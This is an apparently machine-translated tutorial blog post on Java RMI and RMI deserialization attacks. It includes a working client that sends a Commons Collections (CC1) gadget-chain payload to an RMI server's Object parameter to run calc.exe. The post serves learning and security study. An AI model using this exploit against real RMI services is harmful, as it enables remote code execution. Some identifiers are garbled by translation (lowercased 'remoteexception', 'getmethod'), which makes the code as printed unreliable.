RMI deserialization for Java Security

RMI deserialization for Java Security

0x00 Preface

Before analyzing fastjson vulnerabilities, you need to understand RMI mechanism and JNDI injection, so this article analyzes RMI mechanism.

In Java, simply put, RMI is used to call remote Java programs, JNI is used to call C programs, and Jython is used to call Python programs. RMI, JNI and Jython can actually play a relatively large role in security. JNI is more widely used in security. Since you can call C language, the following.. Self brain tonic. Ignore this for the time being, and we'll talk about it later. If you have used or learned about the plug-in of burp written in Python, you will not be unfamiliar with Jython. If you say that the plug-in of pthon needs to install a Jython jar package. We'll talk about this later. This is mainly about RMI, which is frequently used in deserialization, such as the deserialization vulnerability of Weblogic's T3 protocol.

concept

Some concepts need to be understood before understanding RMI.

RMI(Remote Method Invocation,远程方法调用)是用Java在JDK1.2中实现的,它大大增强了Java开发分布式应用的能力。

Java's implementation of RMI specification uses jrmp protocol by default. In Weblogic, the implementation of RMI specification uses T3 protocol.

JRMP:Java Remote Message Protocol ,Java 远程消息交换协议。这是运行在Java RMI之下、TCP/IP之上的线路层协议。该协议要求服务端与客户端都为Java编写,就像HTTP协议一样,规定了客户端和服务端通信要满足的规范。

RMI can be implemented using the following protocols:

Java Remote Method protocol (jrmp): a protocol specially designed for RMI. Internet inter orb protocol (IIOP): a cross language protocol based on CORBA

JNDI :Java命名和目录接口(the Java naming and directory interface,JNDI)是一组在Java应用中访问命名和目录服务的API。命名服务将名称和对象联系起来,使得读者可以用名称访问对象。目录服务是一种命名服务,在这种服务里,对象不但有名称,还有属性。

0x01 RMI function

RMI overview

RMI (remote method invocation) is a remote method call that allows an object running on one Java virtual machine to call an object running on another Java virtual machine. The two virtual machines can be in different processes running on the same computer or in different computers on the network.

stay

Unlike socket, RMI is divided into three parts: server, client and registry.

Server: 	提供远程的对象
Client:		调用远程的对象
Registry:	一个注册表,存放着远程对象的位置(ip、端口、标识符)

RMI basic application

As mentioned earlier, RMI can call a remote Java object for local execution, but the class called remotely must inherit Java rmi. Remote interface.

package com.rmi;

import java.rmi.Remote;
import java.rmi.remoteexception;

public interface rmidemo extends Remote {
    public String hello() throws remoteexception;
}

When defining a remote interface, you need to inherit Java rmi. Remote interface, and the modifier must be public, otherwise an error will be reported when calling remotely. And the defined method needs to throw a RemoteException exception.

package com.rmi;

import java.rmi.remoteexception;
import java.rmi.server.UnicastRemoteObject;

public class RemoteHelloWorld extends UnicastRemoteObject implements rmidemo{


    protected RemoteHelloWorld() throws remoteexception {
        System.out.println("构造方法");
    }

    public String hello() throws remoteexception {
        System.out.println("hello方法被调用");
        return "hello,world";
    }
}

When writing this implementation class, you need to inherit this class from unicastremoteobject.

package com.rmi;

import java.rmi.remoteexception;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class servet {
    public static void main(String[] args) throws remoteexception {
        rmidemo hello = new RemoteHelloWorld();//创建远程对象
        Registry registry = LocateRegistry.createRegistry(1099);//创建注册表
        registry.rebind("hello",hello);//将远程对象注册到注册表里面,并且设置值为hello

    }
}

At this step, the simple RMI server code is written. Let's write the code for a client to call the remote object.

In this step, it should be noted that if the remote method has parameters, the parameters passed in by calling the method must be serializable. In transmission, the serialized data is transmitted, and the server will deserialize the input of the client. There are many articles on analyzing RMI transmission traffic on the Internet. You can look for them. There is no demonstration here.

0x02 RMI deserialization attack

RM needs to be used for deserialization attack, which requires two conditions: receiving parameters of object type and the existence of execution command utilization chain at the server of RMI.

Here is a simple rewrite of the above code.

Remote interface code:

package com.rmidemo;

import java.rmi.Remote;
import java.rmi.remoteexception;

public interface User extends Remote {
    public String hello(String hello) throws remoteexception;

    void work(Object obj) throws remoteexception;

    void  say() throws remoteexception;

}

You need to define a parameter method of object type.

Remote interface implementation class code:

package com.rmidemo;

import java.rmi.remoteexception;
import java.rmi.server.RMIClientSocketFactory;
import java.rmi.server.RMIServerSocketFactory;
import java.rmi.server.UnicastRemoteObject;

public class UserImpl extends UnicastRemoteObject implements User {
    protected UserImpl() throws remoteexception {
    }

    protected UserImpl(int port) throws remoteexception {
        super(port);
    }

    protected UserImpl(int port,RMIClientSocketFactory csf,RMIServerSocketFactory ssf) throws remoteexception {
        super(port,csf,ssf);
    }


    public String hello(String hello) throws remoteexception {
        return "hello";
    }

    public void work(Object obj) throws remoteexception {
        System.out.println("work被调用了");
    }

    public void say() throws remoteexception {
        System.out.println("say");
    }
}


Server code:

package com.rmidemo;

import java.rmi.remoteexception;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class server {
    public static void main(String[] args) throws remoteexception {

        User user = new UserImpl();
        Registry registry = LocateRegistry.createRegistry(1099);
        registry.rebind("user",user);
        System.out.println("rmi running....");
    }
}

Client code:

package com.rmidemo;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;

public class client {
    public static void main(String[] args) throws Exception {
        String url = "rmi://192.168.20.130:1099/user";
        User userClient = (User) Naming.lookup(url);


        userClient.work(getpayload());

    }
    public static Object getpayload() throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),new InvokerTransformer("getmethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map map = new HashMap();
        map.put("value","sijidou");
        Map transformedMap = TransformedMap.decorate(map,null,transformerChain);

        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class,Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Retention.class,transformedMap);
        return instance;
    }


}

After executing the client, we will execute the commands we set to execute, that is, pop up the calculator. The reason why RMI is executed is that RMI will be serialized when transmitting data. The data after the transmission sequence is serialized will be deserialized after the transmission is completed. At this time, if a malicious serialized data is transmitted, the deserialization command will be executed. As for how to construct serialized data, it is clear at a glance after analyzing the CC chain, which will not be repeated here.

Reference articles

https://xz.aliyun.com/t/6660#toc-6
https://xz.aliyun.com/t/4711#toc-8

0x03 end

In fact, there is more than one RMI attack technique mentioned in the article, but let's stop here. At present, it is mainly to make a pre preparation for analyzing fastjson vulnerabilities, and there is not much in-depth research.

The content of this article comes from the network collection of netizens. It is used as a learning reference. The copyright belongs to the original author.
THE END
分享
二维码
< <上一篇
下一篇>>